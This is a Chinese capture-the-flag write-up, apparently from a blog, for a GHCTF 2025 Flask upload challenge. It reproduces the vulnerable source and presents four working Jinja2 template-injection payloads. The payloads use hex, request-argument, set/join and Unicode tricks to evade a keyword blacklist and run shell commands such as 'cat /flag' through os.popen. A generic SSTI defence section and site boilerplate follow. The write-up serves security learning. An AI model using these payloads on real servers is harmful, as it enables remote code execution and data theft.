[GHCTF 2025]upload?SSTI!

 题目源代码

import os
import re

from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename

app = Flask(__name__)

# 配置信息
UPLOAD_FOLDER = 'static/uploads'  # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024  # 限制上传大小为 16MB

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH

# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
    return os.path.commonpath([basedir,path])


def contains_dangerous_keywords(file_path):
    dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

    with open(file_path, 'rb') as f:
        file_content = str(f.read())


        for keyword in dangerous_keywords:
            if keyword in file_content:
                return True  # 找到危险关键字,返回 True

    return False  # 文件内容中没有危险关键字
def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        # 检查是否有文件被上传
        if 'file' not in request.files:
            return jsonify({"error": "未上传文件"}), 400

        file = request.files['file']

        # 检查是否选择了文件
        if file.filename == '':
            return jsonify({"error": "请选择文件"}), 400

        # 验证文件名和扩展名
        if file and allowed_file(file.filename):
            # 安全处理文件名
            filename = secure_filename(file.filename)
            # 保存文件
            save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
            file.save(save_path)



            # 返回文件路径(绝对路径)
            return jsonify({
                "message": "File uploaded successfully",
                "path": os.path.abspath(save_path)
            }), 200
        else:
            return jsonify({"error": "文件类型错误"}), 400

    # GET 请求显示上传表单(可选)
    return '''
    <!doctype html>
    <title>Upload File</title>
    <h1>Upload File</h1>
    <form method=post enctype=multipart/form-data>
      <input type=file name=file>
      <input type=submit value=Upload>
    </form>
    '''

@app.route('/file/<path:filename>')
def view_file(filename):
    try:
        # 1. 过滤文件名
        safe_filename = secure_filename(filename)
        if not safe_filename:
            abort(400, description="无效文件名")

        # 2. 构造完整路径
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)

        # 3. 路径安全检查
        if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
            abort(403, description="禁止访问的路径")

        # 4. 检查文件是否存在
        if not os.path.isfile(file_path):
            abort(404, description="文件不存在")

        suffix=os.path.splitext(filename)[1]
        print(suffix)
        if suffix==".jpg" or suffix==".png" or suffix==".gif":
            return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')

        if contains_dangerous_keywords(file_path):
            # 删除不安全的文件
            os.remove(file_path)
            return jsonify({"error": "Waf!!!!"}), 400

        with open(file_path, 'rb') as f:
            file_data = f.read().decode('utf-8')
        tmp_str = """<!DOCTYPE html>
        <html lang="zh">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>查看文件内容</title>
        </head>
        <body>
            <h1>文件内容:{name}</h1>  <!-- 显示文件名 -->
            <pre>{data}</pre>  <!-- 显示文件内容 -->

            <footer>
                <p>&copy; 2025 文件查看器</p>
            </footer>
        </body>
        </html>
        """.format(name=safe_filename, data=file_data)

        return render_template_string(tmp_str)

    except Exception as e:
        app.logger.error(f"文件查看失败: {str(e)}")
        abort(500, description="文件查看失败:{} ".format(str(e)))


# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):
    return {"error": error.description}, 404


@app.errorhandler(403)
def forbidden(error):
    return {"error": error.description}, 403


if __name__ == '__main__':
    app.run("0.0.0.0",debug=False)

关键出现 ssti 漏洞处

tmp_str = """<!DOCTYPE html>
        <html lang="zh">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>查看文件内容</title>
        </head>
        <body>
            <h1>文件内容:{name}</h1>  <!-- 显示文件名 -->
            <pre>{data}</pre>  <!-- 显示文件内容 -->

            <footer>
                <p>&copy; 2025 文件查看器</p>
            </footer>
        </body>
        </html>
        """.format(name=safe_filename, data=file_data)

        return render_template_string(tmp_str)

黑名单

 ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

我先按照一个一个绕过的方法来看的:

过滤 _ 利用编码 \x5f 绕过

过滤关键字用 + 拼接的方式绕过,最后形成的payload:

{{ ()['\x5f\x5fcl'+'ass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsub'+'classes\x5f\x5f']()[117]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('cat /flag').read() }}

...但是并不行 

方法二:利用 request 绕过

先在文件中写

{{''[request.args.x1][request.args.x2][1][request.args.x3]()[139][request.args.x4][request.args.x5][request.args.x6][request.args.x7](request.args.x8)}}

提交成功了以后再在 file/132.txt 后面加上 ? + 

&x1=__class__&x2=__mro__&x3=__subclasses__&x4=__init__&x5=__globals__&x6=__builtins__&x7=eval&x8=__import__("os").popen("whoami").read()

方法三:set语句拼接

 {%set xhx=({}|select()|string())[24]%}
select 过滤器通常用于条件筛选(类似Python的 filter 函数),但无参数调用时会返回一个生成器对象。
转换为字符串后形如 <generator object select_or_reject at 0x...>
 {%set glo=(xhx,xhx,dict(glo=1,bals=2)|join,xhx,xhx)|join%}
 {%set cla=(xhx,xhx,dict(cla=1,ss=2)|join,xhx,xhx)|join%}
 {%set bas=(xhx,xhx,dict(ba=1,se=2)|join,xhx,xhx)|join%}
 {%set sub=(xhx,xhx,dict(subcla=1,sses=2)|join,xhx,xhx)|join%}
 {%set ini=(xhx,xhx,dict(ini=1,t=2)|join,xhx,xhx)|join%}
 {%set pop="nepop"|reverse%} 啊?
 {%set o=dict(o=1,s=2)|join%}
 {{config[ini][glo][o][pop]("cat /fla*").read()}}

 方法四: Unicode编码绕过

{{lipsum.__globals__.get('os').popen('cat /f*').read()}}

{{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat /f*")|attr("\u0072\u0065\u0061\u0064")()}}

03-09
### SSTI 服务器端模板注入漏洞防护方法 #### 一、输入验证与过滤 为了防止恶意用户通过不可信的数据源传递特殊字符或者代码片段,在接收任何来自用户的输入之前,应该严格地对其进行验证和清理。这不仅限于表单提交的内容,还包括URL参数、HTTP头部以及其他可能被篡改的信息[^1]。 对于FreeMarker这样的模板引擎而言,可以通过配置来禁用某些危险功能,比如表达式求值等特性;也可以自定义解析器以移除潜在有害指令前缀或关键字[^2]。 ```java Configuration cfg = new Configuration(Configuration.VERSION_2_3_30); cfg.setStrictSyntaxMode(true); // 启用严格的语法模式减少误触发风险 // 设置沙盒策略限制可用内置函数集 TemplateHashModel staticModels = ...; StaticModels.put("unsafe", null, staticModels); ``` #### 二、最小权限原则 应用程序应当遵循最低特权运行的原则,即服务进程仅拥有完成其职责所需的最少资源访问权。即使发生突破隔离机制的情况,也能最大限度降低损失范围。例如Web应用通常不需要root/administrator级别的控制权去读写文件系统之外的地方[^3]。 另外值得注意的是要定期审查并更新依赖库版本,及时修补已知的安全缺陷,因为第三方组件也可能成为引入SSTI问题的原因之一。 #### 三、采用安全框架 现代开发平台往往提供了专门用于防范此类攻击的安全措施,如Spring Security可以很好地集成到Java项目当中提供全面保护方案。它能够帮助开发者轻松实现身份认证、授权管理等功能的同时也包含了抵御多种常见威胁的能力,其中包括但不限于XSS、CSRF以及今天的主题——SSTI。 当涉及到渲染动态HTML页面时,优先考虑使用经过良好测试且具有强大社区支持的视图层技术栈,像Thymeleaf就以其安全性著称,内部实现了自动转义输出从而天然免疫于此类隐患。 #### 四、日志监控预警 建立健全的日志记录体系有助于快速定位异常行为的发生位置及其影响程度。通过对请求流量特征分析(特别是那些试图绕过正常业务逻辑路径的操作),配合IDS/IPS设备实时拦截可疑连接尝试,可以在很大程度上提高系统的整体防御水平。 最后提醒一点,虽然上述手段能在不同程度上缓解SSTI带来的危害,但没有任何一种单独的方法能百分之百杜绝所有可能性。因此建议采取多层次综合防控思路构建稳固可靠的网络边界屏障。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值